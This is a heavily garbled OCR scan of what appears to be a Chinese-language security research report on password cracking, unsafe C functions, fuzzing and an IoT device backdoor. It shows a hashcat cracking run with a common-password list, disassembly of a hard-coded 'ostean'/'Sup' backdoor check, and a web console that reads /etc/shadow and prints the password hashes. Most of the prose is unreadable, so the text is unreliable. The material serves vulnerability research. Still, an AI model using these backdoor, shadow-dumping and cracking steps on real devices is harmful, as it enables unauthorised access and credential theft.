% Total % Received % Xferd Average Speed Time
Time Time Current

Dload Upload Total Spent

Left Speed
160 3492 108 3492 [¢] e 2769 8 0:00:01
0:00:01 --:--:-- 2769
root@kali:~/lab# head 500_passwords.txt
123456
password
12345678
1234
pussy
12345
dragon
gwerty
696969
Mustang
root@kali:~/lab# hashcat -m 1860 -a @ -o foundl.txt --
remove l.hash 500 _passwords.txt

8.2 i#HHI K
KRR EGENE GRS, WEFARSEFRFNZSEFITEZENDT, HEERISELT ST —MEEENIF
o

HTRSEFZHNTHFIRER, XERBERLZ2DMARZE " H#FIREZESEREMAIR, HTE]
IAEXARS, BEAESKIRAYIE B
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8.2.1 B A%

BAS

7= NSFOCU

TEIEEZHIEALOEHRE, A ida BHSOREE, FIUERIEBMIINRE, DifRSFEEEF
Kigth, #EIRRRA B eFIB%E:

BRE

gets
strcpy
strcat
sprintf
scanf
sscanf
fscanf
vfscanf
vsprintf
vscanf
vsscanf
streadd
strecpy

strtrns
realpath

syslog
getopt
getopt_long
getpass
getchar
fgetc
getc
read
bcopy
fgets
memcpy
snprintf
strccpy
strcadd

strncpy

vsnprintf

ek

ek
REk
Eren
Rk
Erem
Rrem
Rk
Rk
Rrem
REk
Eren
Rem
Rk
ek

Rek (FiHE),

ReEk (FiE),
Rem @fED,
RBrelm @R,
Rek (FiE),

hERR
hERR
hERK
hERR
{|iEx s
{|ivexivs
e
{[iex s
(iRl
e
e
e

BURTFSLI)

BURTF-SEIN)
BURTSEI)
BRTF-SEIN)
BURTFSLI)

RS2

58 fgets (buf, size, stdin) » XJLFR2E2—PA[A)!
BN strnepys

BUAER strncat,

BCRMER snprintf, ZEERBERART.
EABEIRAR, 38 HITRT.
EABEIRAR, EHITRNT.
EABERAR, HEIHITRIT.
ERBEIRAR, EDHITRNT.

BURMER vsnprintf, D& ERAMEE BB/,
EABERAR, HEIHITHRNT.
EABEIRAR, ;EDHITRT.

MRS EEHY B S EA/ NEIRS HR/ S,
RN B R S NERSEH A/ NI E,
FINEREEENMANESE L ERFREES,

DEE MK AN MAXPATHLEN, B, FIRESHUBRBANS
HOREBE MAXPATHLEN,

TR FAT RN L BEZR I A, A F T BN ERGIERIR).
ERFIT RN R ZRIZ A, KA F A SRmABR S ERI R,
TERFRF RN EBEZREZF, FFEF T RN S ERAR).
TR FA BN L BMZR I 7, B E F T BRNERTIERR).
MRERAPERZEHY, BREEEFXIDR,
MREBAPEAZRE, BROERHAXIDR,
MREBAPERAZERE, BROEZHXIAN.

MR BEARPERZEREY, BROEEHAXIAR,

BREFX KNS BRI —F K,
HREFX NS ERRRB—F Ko

BREHFX NS BTN —F K,
BREFX KNS ERRRIN—F K,
HREFX KNS EPRRB—1F Ko

BREFX NS ERMRN—F K,
BREFX NS ERMRIN—F K,
BREF XA NS BRI —F K,

87



BEREREDNFH

XA SIEN, EERER system ZRIBURRZUER, TEIESSHEI 5 E N exec RFIREL

const char *path, const char *arg

xeclp(const char *file, const char *arg

int execle(const char *path, const char *arg
char const envp

execv(const char *path, char *const argv

execvp(const char *file, char *const argv

int execvpe(const char *file, char *const argv

const envp
AR
BSOS MEAFENEIMNES, RN~EIRIERBASHNEERERAXR, NIRRT TRERETIR
EERENFE. ENRTET IV AREERESZ, HFETREEIMENEN (X PRENAETERN, BL fuzz
TARREADESERDSBERS) BRI ARHRIHTAN, SR crash B3 FLH0HAT
RAGHETREEN R

SRBREB U LD X RURTE |

1. WARMFREE, FEEROFAERENSIIENMFIEIIRD, FFU—FIaRE AR ES
XEE, HHEER.

2. RERHEFTZBEEOREOUERFITRN, WTFXERYG, FERFES—MNEBR, MBS ETEZTAIRE
R, JERENRNEHBNINEE (XENFELRRENSH) . FENINHEEEENHNINRERE LR
ROSRAEERREN T, XFREBXEA LR R IENERIGRIZFAERIINL R,

3. EHIIAMAURIMRERF W N REAR (HANBEZIELNRBHNGSHITHEBRERR)
AT RAEENIANE, AR ER RS,

IS E AR T A5

http://Ilcamtuf.coredump.cx/afl/

https://github.com/shellphish/afl-other-arch
8.2.2 ZAX @Rl
MRS BEIR & BT & I AVER A s R ;
EIEFE R key HEZT 0x80 A/NBIIRZ B AREFEHEAR;
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i D

=~ NSFOCUS

LRSEFLERFAZENRSIBEREY, BERERANTR

FRBFE I B D EA/NS 0x80 Wik=EIF, K4E%E
HAXEL, SEEFRER,
Headers lextview Syntaxview | | WebForms Hexview Auth Lookies Haw J50M XML
QueryString
Mame Value
. 1511404789210
Transformer Headers | TextView SyntaxView ImageView HexView WebView Auth Caching Coo
Raw J50M XML
HTTP/1.1 500 Internal Server Error
Ccontent-Type: text/html
Content-Length: 369
Date: Tue, 04 Jul 2017 06:50:49 GMT
Server: Tighttpd
<?xml version="1.0" encndmg— i50-8859-1"7=
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http: //www.w3.org/TR/xhtm11/DTD /xhtmll -transitiona .dtd">
<html xmlns="http: / waww.w3.0rg/1999/xhtm1"™ xml: Tlang="en" 1ang— en™
--.t1't'|e.-5l3tl - Internal Server Error</titlex
</head>
<body>
<h1>500 - Internal Server Error</hl-
</ Body=
/L=

B A B P X

R RA R LUARERI RSN ER, XEMAHT
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9. IZFERE

9.1 /muﬁm&% (EF_UH\K%) ..................................................... 91
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7= NSFOCUS

9.1 Mk = (f/IIKS)
BLEREREER LN T HEER, SNFEERENRARTGFEVLIKS.

XK S —ARER LIBERIEBI N FEEEFD, R BEERARMTRITRERITEEXENHKS,
HREERDEEREIREEMN G, BIDTEHRLSME I EREXEKRS, HMREULEBEHIIR.

FINFEEREIRENEHKS (B & osteam , &85 5up) »

'y

[
la $t9, httpGetEnu

nop

jalr $t9 ; httpGetEnv

move $a@, $s2

1w $gp, OxCuas+var C38($sp)

move $a@, $wve #t s1

la $a1, Bx510008

1a $t9, strcmp

nop

jalr $t9 ; strcmp

addiu $a1, (a0steam - B0x51008808) I “ostean”

1u $gp, BxC48+var_C38(%sp)

bnez $uB, loc_L7F7ES

addiu  $ai, $s3, (aPasswd - Bx518888) # “passud"

f_l_J

[P
1a $t?, httpGetEnv

nop

jalr $t9 ; httpGetEnv

move $a@, $s2

1w $gp, OxCuB+var C28(%$sp)

move $ae, 5va #t 51

la $a1, 8x5100088

la $t9, strcmp

nop

jalr $t9 ; strcmp

addiu $a1, (aSup - @x510888) i# "Sup”
1w $gp, OxCa8+var C38(3$sp)

bnez $uB, loc L7F7ES

nop
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BRIRE.

Usemama: IDSTEB.m Pagssword: (11}

LastCmd | Next Cmd

command; | SEND | _clR | ExT

cat fecc/shadows
root:§15§dINHICPRYDEEFANIL. HI/ 110933:0:99999: 714
Admin: $1§$zdINHICDxTDEeF4NZL. H3/ 1 10933:0:99999: 71 ::
[bin::10933:0:90990: 72

daemon:: 10933 :0:995993:7:::

mdm: : 10933:0:99959:7
1p:*:10933:0:99999:7
sync: *:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt: F:10833:0:999599:7:::
uucp: F:10933:0:999589:7: 12
operator:*:10933:0:995999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:995899: 72

=l ]

#

902 EERILEE

AREBRIRE FEETICREIE, AR LLEIMNILE LIOTAVEM ID AR EETHRHERN, XiF
gItEERAESE, BREKMFL, WEEFIBIYEEZMSENGEREM ID, HIRBREIAIMEZER
HEEBEBIRE,

EERN
BB ID
B ID

HE
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